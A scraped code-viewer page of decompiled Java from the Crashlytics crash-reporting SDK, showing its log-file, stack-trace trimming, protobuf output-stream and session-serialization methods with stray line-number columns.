            if (msg.length() > quarterMaxLogSize) {
                msg = "..." + msg.substring(msg.length() - quarterMaxLogSize);
            }
            msg = msg.replaceAll("\r", " ").replaceAll("\n", " ");
            this.logFile.add(String.format(Locale.US, "%d %s%n", new Object[]{Long.valueOf(timestamp), msg}).getBytes(HttpRequest.CHARSET_UTF8));
            while (!this.logFile.isEmpty() && this.logFile.usedBytes() > this.maxLogSize) {
                this.logFile.remove();
            }
        } catch (IOException e) {
            Fabric.getLogger().e(CrashlyticsCore.TAG, "There was a problem writing to the Crashlytics log.", e);
        }
    }
}



76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95

getTrimmedStackTrace

Java Code



MiddleOutFallbackStrategy

Java Code
public MiddleOutFallbackStrategy(int maximumStackSize, StackTraceTrimmingStrategy... strategies) {
    this.maximumStackSize = maximumStackSize;
    this.trimmingStrategies = strategies;
    this.middleOutStrategy = new MiddleOutStrategy(maximumStackSize);
}



8
9
10
11
12

getTrimmedStackTrace

Java Code
public StackTraceElement[] getTrimmedStackTrace(StackTraceElement[] stacktrace) {
    if (stacktrace.length <= this.maximumStackSize) {
        return stacktrace;
    }
    StackTraceElement[] trimmed = stacktrace;
    for (StackTraceTrimmingStrategy strategy : this.trimmingStrategies) {
        if (trimmed.length <= this.maximumStackSize) {
            break;
        }
        trimmed = strategy.getTrimmedStackTrace(stacktrace);
    }
    if (trimmed.length > this.maximumStackSize) {
        trimmed = this.middleOutStrategy.getTrimmedStackTrace(trimmed);
    }
    return trimmed;
}



14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

computePreferredBufferSize

Java Code
static int computePreferredBufferSize(int dataLength) {
    return dataLength > DEFAULT_BUFFER_SIZE ? DEFAULT_BUFFER_SIZE : dataLength;
}



28
29
30

CodedOutputStream

Java Code
private CodedOutputStream(byte[] buffer, int offset, int length) {
    this.output = null;
    this.buffer = buffer;
    this.position = offset;
    this.limit = offset + length;
}



32
33
34
35
36
37

CodedOutputStream

Java Code
private CodedOutputStream(OutputStream output, byte[] buffer) {
    this.output = output;
    this.buffer = buffer;
    this.position = 0;
    this.limit = buffer.length;
}



39
40
41
42
43
44

newInstance

Java Code
public static CodedOutputStream newInstance(OutputStream output) {
    return newInstance(output, DEFAULT_BUFFER_SIZE);
}



46
47
48

newInstance

Java Code
public static CodedOutputStream newInstance(OutputStream output, int bufferSize) {
    return new CodedOutputStream(output, new byte[bufferSize]);
}



50
51
52

newInstance

Java Code
public static CodedOutputStream newInstance(byte[] flatArray) {
    return newInstance(flatArray, 0, flatArray.length);
}



54
55
56

newInstance

Java Code
public static CodedOutputStream newInstance(byte[] flatArray, int offset, int length) {
    return new CodedOutputStream(flatArray, offset, length);
}



58
59
60

writeDouble

Java Code
public void writeDouble(int fieldNumber, double value) throws IOException {
    writeTag(fieldNumber, 1);
    writeDoubleNoTag(value);
}



62
63
64
65

writeFloat

Java Code
public void writeFloat(int fieldNumber, float value) throws IOException {
    writeTag(fieldNumber, 5);
    writeFloatNoTag(value);
}



67
68
69
70

writeUInt64

Java Code
public void writeUInt64(int fieldNumber, long value) throws IOException {
    writeTag(fieldNumber, 0);
    writeUInt64NoTag(value);
}



72
73
74
75

writeInt64

Java Code
public void writeInt64(int fieldNumber, long value) throws IOException {
    writeTag(fieldNumber, 0);
    writeInt64NoTag(value);
}



77
78
79
80

writeInt32

Java Code
public void writeInt32(int fieldNumber, int value) throws IOException {
    writeTag(fieldNumber, 0);
    writeInt32NoTag(value);
}



82
83
84
85

writeFixed64

Java Code
public void writeFixed64(int fieldNumber, long value) throws IOException {
    writeTag(fieldNumber, 1);
    writeFixed64NoTag(value);
}



87
88
89
90

writeFixed32

Java Code
public void writeFixed32(int fieldNumber, int value) throws IOException {
    writeTag(fieldNumber, 5);
    writeFixed32NoTag(value);
}



92
93
94
95

writeBool

Java Code
public void writeBool(int fieldNumber, boolean value) throws IOException {
    writeTag(fieldNumber, 0);
    writeBoolNoTag(value);
}



97
98
99
100

writeString

Java Code
public void writeString(int fieldNumber, String value) throws IOException {
    writeTag(fieldNumber, 2);
    writeStringNoTag(value);
}



102
103
104
105

writeBytes

Java Code
public void writeBytes(int fieldNumber, ByteString value) throws IOException {
    writeTag(fieldNumber, 2);
    writeBytesNoTag(value);
}



107
108
109
110

writeUInt32

Java Code
public void writeUInt32(int fieldNumber, int value) throws IOException {
    writeTag(fieldNumber, 0);
    writeUInt32NoTag(value);
}



112
113
114
115

writeEnum

Java Code
public void writeEnum(int fieldNumber, int value) throws IOException {
    writeTag(fieldNumber, 0);
    writeEnumNoTag(value);
}



117
118
119
120

writeSFixed32

Java Code
public void writeSFixed32(int fieldNumber, int value) throws IOException {
    writeTag(fieldNumber, 5);
    writeSFixed32NoTag(value);
}



122
123
124
125

writeSFixed64

Java Code
public void writeSFixed64(int fieldNumber, long value) throws IOException {
    writeTag(fieldNumber, 1);
    writeSFixed64NoTag(value);
}



127
128
129
130

writeSInt32

Java Code
public void writeSInt32(int fieldNumber, int value) throws IOException {
    writeTag(fieldNumber, 0);
    writeSInt32NoTag(value);
}



132
133
134
135

writeSInt64

Java Code
public void writeSInt64(int fieldNumber, long value) throws IOException {
    writeTag(fieldNumber, 0);
    writeSInt64NoTag(value);
}



137
138
139
140

writeRawMessageSetExtension

Java Code
public void writeRawMessageSetExtension(int fieldNumber, ByteString value) throws IOException {
    writeTag(1, 3);
    writeUInt32(2, fieldNumber);
    writeBytes(3, value);
    writeTag(1, 4);
}



142
143
144
145
146
147

writeDoubleNoTag

Java Code
public void writeDoubleNoTag(double value) throws IOException {
    writeRawLittleEndian64(Double.doubleToRawLongBits(value));
}



149
150
151

writeFloatNoTag

Java Code
public void writeFloatNoTag(float value) throws IOException {
    writeRawLittleEndian32(Float.floatToRawIntBits(value));
}



153
154
155

writeUInt64NoTag

Java Code
public void writeUInt64NoTag(long value) throws IOException {
    writeRawVarint64(value);
}



157
158
159

writeInt64NoTag

Java Code
public void writeInt64NoTag(long value) throws IOException {
    writeRawVarint64(value);
}



161
162
163

writeInt32NoTag

Java Code
public void writeInt32NoTag(int value) throws IOException {
    if (value >= 0) {
        writeRawVarint32(value);
    } else {
        writeRawVarint64((long) value);
    }
}



165
166
167
168
169
170
171

writeFixed64NoTag

Java Code
public void writeFixed64NoTag(long value) throws IOException {
    writeRawLittleEndian64(value);
}



173
174
175

writeFixed32NoTag

Java Code
public void writeFixed32NoTag(int value) throws IOException {
    writeRawLittleEndian32(value);
}



177
178
179

writeBoolNoTag

Java Code
public void writeBoolNoTag(boolean value) throws IOException {
    writeRawByte(value ? 1 : 0);
}



181
182
183

writeStringNoTag

Java Code
public void writeStringNoTag(String value) throws IOException {
    byte[] bytes = value.getBytes(HttpRequest.CHARSET_UTF8);
    writeRawVarint32(bytes.length);
    writeRawBytes(bytes);
}



185
186
187
188
189

writeBytesNoTag

Java Code
public void writeBytesNoTag(ByteString value) throws IOException {
    writeRawVarint32(value.size());
    writeRawBytes(value);
}



191
192
193
194

writeUInt32NoTag

Java Code
public void writeUInt32NoTag(int value) throws IOException {
    writeRawVarint32(value);
}



196
197
198

writeEnumNoTag

Java Code
public void writeEnumNoTag(int value) throws IOException {
    writeInt32NoTag(value);
}



200
201
202

writeSFixed32NoTag

Java Code
public void writeSFixed32NoTag(int value) throws IOException {
    writeRawLittleEndian32(value);
}



204
205
206

writeSFixed64NoTag

Java Code
public void writeSFixed64NoTag(long value) throws IOException {
    writeRawLittleEndian64(value);
}



208
209
210

writeSInt32NoTag

Java Code
public void writeSInt32NoTag(int value) throws IOException {
    writeRawVarint32(encodeZigZag32(value));
}



212
213
214

writeSInt64NoTag

Java Code
public void writeSInt64NoTag(long value) throws IOException {
    writeRawVarint64(encodeZigZag64(value));
}



216
217
218

computeDoubleSize

Java Code
public static int computeDoubleSize(int fieldNumber, double value) {
    return computeTagSize(fieldNumber) + computeDoubleSizeNoTag(value);
}



220
221
222

computeFloatSize

Java Code
public static int computeFloatSize(int fieldNumber, float value) {
    return computeTagSize(fieldNumber) + computeFloatSizeNoTag(value);
}



224
225
226

computeUInt64Size

Java Code
public static int computeUInt64Size(int fieldNumber, long value) {
    return computeTagSize(fieldNumber) + computeUInt64SizeNoTag(value);
}



228
229
230

computeInt64Size

Java Code
public static int computeInt64Size(int fieldNumber, long value) {
    return computeTagSize(fieldNumber) + computeInt64SizeNoTag(value);
}



232
233
234

computeInt32Size

Java Code
public static int computeInt32Size(int fieldNumber, int value) {
    return computeTagSize(fieldNumber) + computeInt32SizeNoTag(value);
}



236
237
238

computeFixed64Size

Java Code
public static int computeFixed64Size(int fieldNumber, long value) {
    return computeTagSize(fieldNumber) + computeFixed64SizeNoTag(value);
}



240
241
242

computeFixed32Size

Java Code
public static int computeFixed32Size(int fieldNumber, int value) {
    return computeTagSize(fieldNumber) + computeFixed32SizeNoTag(value);
}



244
245
246

computeBoolSize

Java Code
public static int computeBoolSize(int fieldNumber, boolean value) {
    return computeTagSize(fieldNumber) + computeBoolSizeNoTag(value);
}



248
249
250

computeStringSize

Java Code
public static int computeStringSize(int fieldNumber, String value) {
    return computeTagSize(fieldNumber) + computeStringSizeNoTag(value);
}



252
253
254

computeBytesSize

Java Code
public static int computeBytesSize(int fieldNumber, ByteString value) {
    return computeTagSize(fieldNumber) + computeBytesSizeNoTag(value);
}



256
257
258

computeUInt32Size

Java Code
public static int computeUInt32Size(int fieldNumber, int value) {
    return computeTagSize(fieldNumber) + computeUInt32SizeNoTag(value);
}



260
261
262

computeEnumSize

Java Code
public static int computeEnumSize(int fieldNumber, int value) {
    return computeTagSize(fieldNumber) + computeEnumSizeNoTag(value);
}



264
265
266

computeSFixed32Size

Java Code
public static int computeSFixed32Size(int fieldNumber, int value) {
    return computeTagSize(fieldNumber) + computeSFixed32SizeNoTag(value);
}



268
269
270

computeSFixed64Size

Java Code
public static int computeSFixed64Size(int fieldNumber, long value) {
    return computeTagSize(fieldNumber) + computeSFixed64SizeNoTag(value);
}



272
273
274

computeSInt32Size

Java Code
public static int computeSInt32Size(int fieldNumber, int value) {
    return computeTagSize(fieldNumber) + computeSInt32SizeNoTag(value);
}



276
277
278

computeSInt64Size

Java Code
public static int computeSInt64Size(int fieldNumber, long value) {
    return computeTagSize(fieldNumber) + computeSInt64SizeNoTag(value);
}



280
281
282

computeRawMessageSetExtensionSize

Java Code
public static int computeRawMessageSetExtensionSize(int fieldNumber, ByteString value) {
    return ((computeTagSize(1) * 2) + computeUInt32Size(2, fieldNumber)) + computeBytesSize(3, value);
}



284
285
286

computeDoubleSizeNoTag

Java Code
public static int computeDoubleSizeNoTag(double value) {
    return 8;
}



288
289
290

computeFloatSizeNoTag

Java Code
public static int computeFloatSizeNoTag(float value) {
    return 4;
}



292
293
294

computeUInt64SizeNoTag

Java Code
public static int computeUInt64SizeNoTag(long value) {
    return computeRawVarint64Size(value);
}



296
297
298

computeInt64SizeNoTag

Java Code
public static int computeInt64SizeNoTag(long value) {
    return computeRawVarint64Size(value);
}



300
301
302

computeInt32SizeNoTag

Java Code
public static int computeInt32SizeNoTag(int value) {
    if (value >= 0) {
        return computeRawVarint32Size(value);
    }
    return 10;
}



304
305
306
307
308
309

computeFixed64SizeNoTag

Java Code
public static int computeFixed64SizeNoTag(long value) {
    return 8;
}



311
312
313

computeFixed32SizeNoTag

Java Code
public static int computeFixed32SizeNoTag(int value) {
    return 4;
}



315
316
317

computeBoolSizeNoTag

Java Code
public static int computeBoolSizeNoTag(boolean value) {
    return 1;
}



319
320
321

computeStringSizeNoTag

Java Code
public static int computeStringSizeNoTag(String value) {
    try {
        byte[] bytes = value.getBytes(HttpRequest.CHARSET_UTF8);
        return computeRawVarint32Size(bytes.length) + bytes.length;
    } catch (UnsupportedEncodingException e) {
        throw new RuntimeException("UTF-8 not supported.", e);
    }
}



323
324
325
326
327
328
329
330

computeBytesSizeNoTag

Java Code
public static int computeBytesSizeNoTag(ByteString value) {
    return computeRawVarint32Size(value.size()) + value.size();
}



332
333
334

computeUInt32SizeNoTag

Java Code
public static int computeUInt32SizeNoTag(int value) {
    return computeRawVarint32Size(value);
}



336
337
338

computeEnumSizeNoTag

Java Code
public static int computeEnumSizeNoTag(int value) {
    return computeInt32SizeNoTag(value);
}



340
341
342

computeSFixed32SizeNoTag

Java Code
public static int computeSFixed32SizeNoTag(int value) {
    return 4;
}



344
345
346

computeSFixed64SizeNoTag

Java Code
public static int computeSFixed64SizeNoTag(long value) {
    return 8;
}



348
349
350

computeSInt32SizeNoTag

Java Code
public static int computeSInt32SizeNoTag(int value) {
    return computeRawVarint32Size(encodeZigZag32(value));
}



352
353
354

computeSInt64SizeNoTag

Java Code
public static int computeSInt64SizeNoTag(long value) {
    return computeRawVarint64Size(encodeZigZag64(value));
}



356
357
358

refreshBuffer

Java Code
private void refreshBuffer() throws IOException {
    if (this.output == null) {
        throw new OutOfSpaceException();
    }
    this.output.write(this.buffer, 0, this.position);
    this.position = 0;
}



360
361
362
363
364
365
366

flush

Java Code
public void flush() throws IOException {
    if (this.output != null) {
        refreshBuffer();
    }
}



368
369
370
371
372

spaceLeft

Java Code
public int spaceLeft() {
    if (this.output == null) {
        return this.limit - this.position;
    }
    throw new UnsupportedOperationException("spaceLeft() can only be called on CodedOutputStreams that are writing to a flat array.");
}



374
375
376
377
378
379

checkNoSpaceLeft

Java Code
public void checkNoSpaceLeft() {
    if (spaceLeft() != 0) {
        throw new IllegalStateException("Did not write as much data as expected.");
    }
}



381
382
383
384
385

writeRawByte

Java Code
public void writeRawByte(byte value) throws IOException {
    if (this.position == this.limit) {
        refreshBuffer();
    }
    byte[] bArr = this.buffer;
    int i = this.position;
    this.position = i + 1;
    bArr[i] = value;
}



387
388
389
390
391
392
393
394
395

writeRawByte

Java Code
public void writeRawByte(int value) throws IOException {
    writeRawByte((byte) value);
}



397
398
399

writeRawBytes

Java Code
public void writeRawBytes(ByteString value) throws IOException {
    writeRawBytes(value, 0, value.size());
}



401
402
403

writeRawBytes

Java Code
public void writeRawBytes(byte[] value) throws IOException {
    writeRawBytes(value, 0, value.length);
}



405
406
407

writeRawBytes

Java Code
public void writeRawBytes(byte[] value, int offset, int length) throws IOException {
    if (this.limit - this.position >= length) {
        System.arraycopy(value, offset, this.buffer, this.position, length);
        this.position += length;
        return;
    }
    int bytesWritten = this.limit - this.position;
    System.arraycopy(value, offset, this.buffer, this.position, bytesWritten);
    offset += bytesWritten;
    length -= bytesWritten;
    this.position = this.limit;
    refreshBuffer();
    if (length <= this.limit) {
        System.arraycopy(value, offset, this.buffer, 0, length);
        this.position = length;
        return;
    }
    this.output.write(value, offset, length);
}



409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427

writeRawBytes

Java Code
public void writeRawBytes(ByteString value, int offset, int length) throws IOException {
    if (this.limit - this.position >= length) {
        value.copyTo(this.buffer, offset, this.position, length);
        this.position += length;
        return;
    }
    int bytesWritten = this.limit - this.position;
    value.copyTo(this.buffer, offset, this.position, bytesWritten);
    offset += bytesWritten;
    length -= bytesWritten;
    this.position = this.limit;
    refreshBuffer();
    if (length <= this.limit) {
        value.copyTo(this.buffer, offset, 0, length);
        this.position = length;
        return;
    }
    InputStream inputStreamFrom = value.newInput();
    if (((long) offset) != inputStreamFrom.skip((long) offset)) {
        throw new IllegalStateException("Skip failed.");
    }
    while (length > 0) {
        int bytesToRead = Math.min(length, this.limit);
        int bytesRead = inputStreamFrom.read(this.buffer, 0, bytesToRead);
        if (bytesRead != bytesToRead) {
            throw new IllegalStateException("Read failed.");
        }
        this.output.write(this.buffer, 0, bytesRead);
        length -= bytesRead;
    }
}



429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459

writeTag

Java Code
public void writeTag(int fieldNumber, int wireType) throws IOException {
    writeRawVarint32(WireFormat.makeTag(fieldNumber, wireType));
}



461
462
463

computeTagSize

Java Code
public static int computeTagSize(int fieldNumber) {
    return computeRawVarint32Size(WireFormat.makeTag(fieldNumber, 0));
}



465
466
467

writeRawVarint32

Java Code
public void writeRawVarint32(int value) throws IOException {
    while ((value & -128) != 0) {
        writeRawByte((value & 127) | 128);
        value >>>= 7;
    }
    writeRawByte(value);
}



469
470
471
472
473
474
475

computeRawVarint32Size

Java Code
public static int computeRawVarint32Size(int value) {
    if ((value & -128) == 0) {
        return 1;
    }
    if ((value & -16384) == 0) {
        return 2;
    }
    if ((-2097152 & value) == 0) {
        return 3;
    }
    if ((-268435456 & value) == 0) {
        return 4;
    }
    return 5;
}



477
478
479
480
481
482
483
484
485
486
487
488
489
490
491

writeRawVarint64

Java Code
public void writeRawVarint64(long value) throws IOException {
    while ((-128 & value) != 0) {
        writeRawByte((((int) value) & 127) | 128);
        value >>>= 7;
    }
    writeRawByte((int) value);
}



493
494
495
496
497
498
499

computeRawVarint64Size

Java Code
public static int computeRawVarint64Size(long value) {
    if ((-128 & value) == 0) {
        return 1;
    }
    if ((-16384 & value) == 0) {
        return 2;
    }
    if ((-2097152 & value) == 0) {
        return 3;
    }
    if ((-268435456 & value) == 0) {
        return 4;
    }
    if ((-34359738368L & value) == 0) {
        return 5;
    }
    if ((-4398046511104L & value) == 0) {
        return 6;
    }
    if ((-562949953421312L & value) == 0) {
        return 7;
    }
    if ((-72057594037927936L & value) == 0) {
        return 8;
    }
    if ((Long.MIN_VALUE & value) == 0) {
        return 9;
    }
    return 10;
}



501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530

writeRawLittleEndian32

Java Code
public void writeRawLittleEndian32(int value) throws IOException {
    writeRawByte(value & SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_DEFAULT);
    writeRawByte((value >> 8) & SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_DEFAULT);
    writeRawByte((value >> 16) & SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_DEFAULT);
    writeRawByte((value >> 24) & SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_DEFAULT);
}



532
533
534
535
536
537

writeRawLittleEndian64

Java Code
public void writeRawLittleEndian64(long value) throws IOException {
    writeRawByte(((int) value) & SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_DEFAULT);
    writeRawByte(((int) (value >> 8)) & SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_DEFAULT);
    writeRawByte(((int) (value >> 16)) & SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_DEFAULT);
    writeRawByte(((int) (value >> 24)) & SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_DEFAULT);
    writeRawByte(((int) (value >> 32)) & SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_DEFAULT);
    writeRawByte(((int) (value >> 40)) & SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_DEFAULT);
    writeRawByte(((int) (value >> 48)) & SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_DEFAULT);
    writeRawByte(((int) (value >> 56)) & SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_DEFAULT);
}



539
540
541
542
543
544
545
546
547
548

encodeZigZag32

Java Code
public static int encodeZigZag32(int n) {
    return (n << 1) ^ (n >> 31);
}



550
551
552

encodeZigZag64

Java Code
public static long encodeZigZag64(long n) {
    return (n << 1) ^ (n >> 63);
}



554
555
556

OutOfSpaceException

Java Code
OutOfSpaceException() {
    super("CodedOutputStream was writing to a flat byte array and ran out of space.");
}



23
24
25

InvalidSessionReport

Java Code
public InvalidSessionReport(String identifier, File[] files) {
    this.files = files;
    this.identifier = identifier;
}



14
15
16
17

getFileName

Java Code
public String getFileName() {
    return this.files[0].getName();
}



19
20
21

getIdentifier

Java Code
public String getIdentifier() {
    return this.identifier;
}



23
24
25

getFile

Java Code
public File getFile() {
    return this.files[0];
}



27
28
29

getFiles

Java Code
public File[] getFiles() {
    return this.files;
}



31
32
33

getCustomHeaders

Java Code
public Map<String, String> getCustomHeaders() {
    return Collections.unmodifiableMap(this.customHeaders);
}



35
36
37

remove

Java Code
public void remove() {
    for (File file : this.files) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "Removing invalid report file at " + file.getPath());
        file.delete();
    }
}



39
40
41
42
43
44

<clinit>

Java Code



SessionProtobufHelper

Java Code



writeBeginSession

Java Code
public static void writeBeginSession(CodedOutputStream cos, String sessionId, String generator, long startedAtSeconds) throws Exception {
    cos.writeBytes(1, ByteString.copyFromUtf8(generator));
    cos.writeBytes(2, ByteString.copyFromUtf8(sessionId));
    cos.writeUInt64(3, startedAtSeconds);
}



18
19
20
21
22

writeSessionApp

Java Code
public static void writeSessionApp(CodedOutputStream cos, String packageName, String apiKey, String versionCode, String versionName, String installUuid, int deliveryMechanism, String unityVersion) throws Exception {
    ByteString packageNameBytes = ByteString.copyFromUtf8(packageName);
    ByteString apiKeyBytes = ByteString.copyFromUtf8(apiKey);
    ByteString versionCodeBytes = ByteString.copyFromUtf8(versionCode);
    ByteString versionNameBytes = ByteString.copyFromUtf8(versionName);
    ByteString installIdBytes = ByteString.copyFromUtf8(installUuid);
    ByteString unityVersionBytes = unityVersion != null ? ByteString.copyFromUtf8(unityVersion) : null;
    cos.writeTag(7, 2);
    cos.writeRawVarint32(getSessionAppSize(packageNameBytes, apiKeyBytes, versionCodeBytes, versionNameBytes, installIdBytes, deliveryMechanism, unityVersionBytes));
    cos.writeBytes(1, packageNameBytes);
    cos.writeBytes(2, versionCodeBytes);
    cos.writeBytes(3, versionNameBytes);
    cos.writeTag(5, 2);
    cos.writeRawVarint32(getSessionAppOrgSize(apiKeyBytes));
    cos.writeBytes(1, apiKeyBytes);
    cos.writeBytes(6, installIdBytes);
    if (unityVersionBytes != null) {
        cos.writeBytes(8, UNITY_PLATFORM_BYTE_STRING);
        cos.writeBytes(9, unityVersionBytes);
    }
    cos.writeEnum(10, deliveryMechanism);
}



24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

writeSessionOS

Java Code
public static void writeSessionOS(CodedOutputStream cos, String osRelease, String osCodeName, boolean isRooted) throws Exception {
    ByteString releaseBytes = ByteString.copyFromUtf8(osRelease);
    ByteString codeNameBytes = ByteString.copyFromUtf8(osCodeName);
    cos.writeTag(8, 2);
    cos.writeRawVarint32(getSessionOSSize(releaseBytes, codeNameBytes, isRooted));
    cos.writeEnum(1, 3);
    cos.writeBytes(2, releaseBytes);
    cos.writeBytes(3, codeNameBytes);
    cos.writeBool(4, isRooted);
}



47
48
49
50
51
52
53
54
55
56

writeSessionDevice

Java Code
public static void writeSessionDevice(CodedOutputStream cos, int arch, String model, int availableProcessors, long totalRam, long diskSpace, boolean isEmulator, Map<DeviceIdentifierType, String> ids, int state, String manufacturer, String modelClass) throws Exception {
    ByteString modelBytes = stringToByteString(model);
    ByteString modelClassBytes = stringToByteString(modelClass);
    ByteString manufacturerBytes = stringToByteString(manufacturer);
    cos.writeTag(9, 2);
    cos.writeRawVarint32(getSessionDeviceSize(arch, modelBytes, availableProcessors, totalRam, diskSpace, isEmulator, ids, state, manufacturerBytes, modelClassBytes));
    cos.writeEnum(3, arch);
    cos.writeBytes(4, modelBytes);
    cos.writeUInt32(5, availableProcessors);
    cos.writeUInt64(6, totalRam);
    cos.writeUInt64(7, diskSpace);
    cos.writeBool(10, isEmulator);
    for (Entry<DeviceIdentifierType, String> id : ids.entrySet()) {
        cos.writeTag(11, 2);
        cos.writeRawVarint32(getDeviceIdentifierSize((DeviceIdentifierType) id.getKey(), (String) id.getValue()));
        cos.writeEnum(1, ((DeviceIdentifierType) id.getKey()).protobufIndex);
        cos.writeBytes(2, ByteString.copyFromUtf8((String) id.getValue()));
    }
    cos.writeUInt32(12, state);
    if (manufacturerBytes != null) {
        cos.writeBytes(13, manufacturerBytes);
    }
    if (modelClassBytes != null) {
        cos.writeBytes(14, modelClassBytes);
    }
}



58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83

writeSessionUser

Java Code
public static void writeSessionUser(CodedOutputStream cos, String id, String name, String email) throws Exception {
    if (id == null) {
        id = "";
    }
    ByteString idBytes = ByteString.copyFromUtf8(id);
    ByteString nameBytes = stringToByteString(name);
    ByteString emailBytes = stringToByteString(email);
    int size = 0 + CodedOutputStream.computeBytesSize(1, idBytes);
    if (name != null) {
        size += CodedOutputStream.computeBytesSize(2, nameBytes);
    }
    if (email != null) {
        size += CodedOutputStream.computeBytesSize(3, emailBytes);
    }
    cos.writeTag(6, 2);
    cos.writeRawVarint32(size);
    cos.writeBytes(1, idBytes);
    if (name != null) {
        cos.writeBytes(2, nameBytes);
    }
    if (email != null) {
        cos.writeBytes(3, emailBytes);
    }
}



85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108

writeSessionEvent

Java Code
public static void writeSessionEvent(CodedOutputStream cos, long eventTime, String eventType, TrimmedThrowableData exception, Thread exceptionThread, StackTraceElement[] exceptionStack, Thread[] otherThreads, List<StackTraceElement[]> otherStacks, Map<String, String> customAttributes, LogFileManager logFileManager, RunningAppProcessInfo runningAppProcessInfo, int orientation, String packageName, String buildId, Float batteryLevel, int batteryVelocity, boolean proximityEnabled, long usedRamInBytes, long diskUsedInBytes) throws Exception {
    ByteString optionalBuildIdBytes;
    ByteString packageNameBytes = ByteString.copyFromUtf8(packageName);
    if (buildId == null) {
        optionalBuildIdBytes = null;
    } else {
        optionalBuildIdBytes = ByteString.copyFromUtf8(buildId.replace("-", ""));
    }
    ByteString logByteString = logFileManager.getByteStringForLog();
    if (logByteString == null) {
        Fabric.getLogger().d(CrashlyticsCore.TAG, "No log data to include with this event.");
    }
    logFileManager.clearLog();
    cos.writeTag(10, 2);
    cos.writeRawVarint32(getSessionEventSize(eventTime, eventType, exception, exceptionThread, exceptionStack, otherThreads, otherStacks, 8, customAttributes, runningAppProcessInfo, orientation, packageNameBytes, optionalBuildIdBytes, batteryLevel, batteryVelocity, proximityEnabled, usedRamInBytes, diskUsedInBytes, logByteString));
    cos.writeUInt64(1, eventTime);
    cos.writeBytes(2, ByteString.copyFromUtf8(eventType));
    writeSessionEventApp(cos, exception, exceptionThread, exceptionStack, otherThreads, otherStacks, 8, packageNameBytes, optionalBuildIdBytes, customAttributes, runningAppProcessInfo, orientation);
    writeSessionEventDevice(cos, batteryLevel, batteryVelocity, proximityEnabled, orientation, usedRamInBytes, diskUsedInBytes);
    writeSessionEventLog(cos, logByteString);
}



110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130

writeSessionEventApp

Java Code
private static void writeSessionEventApp(CodedOutputStream cos, TrimmedThrowableData exception, Thread exceptionThread, StackTraceElement[] exceptionStack, Thread[] otherThreads, List<StackTraceElement[]> otherStacks, int maxChainedExceptionsDepth, ByteString packageNameBytes, ByteString optionalBuildIdBytes, Map<String, String> customAttributes, RunningAppProcessInfo runningAppProcessInfo, int orientation) throws Exception {
    cos.writeTag(3, 2);
    cos.writeRawVarint32(getEventAppSize(exception, exceptionThread, exceptionStack, otherThreads, otherStacks, maxChainedExceptionsDepth, packageNameBytes, optionalBuildIdBytes, customAttributes, runningAppProcessInfo, orientation));
    writeSessionEventAppExecution(cos, exception, exceptionThread, exceptionStack, otherThreads, otherStacks, maxChainedExceptionsDepth, packageNameBytes, optionalBuildIdBytes);
    if (!(customAttributes == null || customAttributes.isEmpty())) {
        writeSessionEventAppCustomAttributes(cos, customAttributes);
    }
    if (runningAppProcessInfo != null) {
        cos.writeBool(3, runningAppProcessInfo.importance != 100);
    }
    cos.writeUInt32(4, orientation);
}



132
133
134
135
136
137
138
139
140
141
142
143

writeSessionEventAppExecution

Java Code
private static void writeSessionEventAppExecution(CodedOutputStream cos, TrimmedThrowableData exception, Thread exceptionThread, StackTraceElement[] exceptionStack, Thread[] otherThreads, List<StackTraceElement[]> otherStacks, int maxChainedExceptionsDepth, ByteString packageNameBytes, ByteString optionalBuildIdBytes) throws Exception {
    cos.writeTag(1, 2);
    cos.writeRawVarint32(getEventAppExecutionSize(exception, exceptionThread, exceptionStack, otherThreads, otherStacks, maxChainedExceptionsDepth, packageNameBytes, optionalBuildIdBytes));
    writeThread(cos, exceptionThread, exceptionStack, 4, true);
    int len = otherThreads.length;
    for (int i = 0; i < len; i++) {
        writeThread(cos, otherThreads[i], (StackTraceElement[]) otherStacks.get(i), 0, false);
    }
    writeSessionEventAppExecutionException(cos, exception, 1, maxChainedExceptionsDepth, 2);
    cos.writeTag(3, 2);
    cos.writeRawVarint32(getEventAppExecutionSignalSize());
    cos.writeBytes(1, SIGNAL_DEFAULT_BYTE_STRING);
    cos.writeBytes(2, SIGNAL_DEFAULT_BYTE_STRING);
    cos.writeUInt64(3, 0);
    cos.writeTag(4, 2);
    cos.writeRawVarint32(getBinaryImageSize(packageNameBytes, optionalBuildIdBytes));
    cos.writeUInt64(1, 0);
    cos.writeUInt64(2, 0);
    cos.writeBytes(3, packageNameBytes);
    if (optionalBuildIdBytes != null) {
        cos.writeBytes(4, optionalBuildIdBytes);
    }
}



145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167

writeSessionEventAppCustomAttributes

Java Code
private static void writeSessionEventAppCustomAttributes(CodedOutputStream cos, Map<String, String> customAttributes) throws Exception {
    for (Entry<String, String> entry : customAttributes.entrySet()) {
        cos.writeTag(2, 2);
        cos.writeRawVarint32(getEventAppCustomAttributeSize((String) entry.getKey(), (String) entry.getValue()));
        cos.writeBytes(1, ByteString.copyFromUtf8((String) entry.getKey()));
        String value = (String) entry.getValue();
        if (value == null) {
            value = "";
        }
        cos.writeBytes(2, ByteString.copyFromUtf8(value));
    }
}



169
170
171
172
173
174
175
176
177
178
179
180

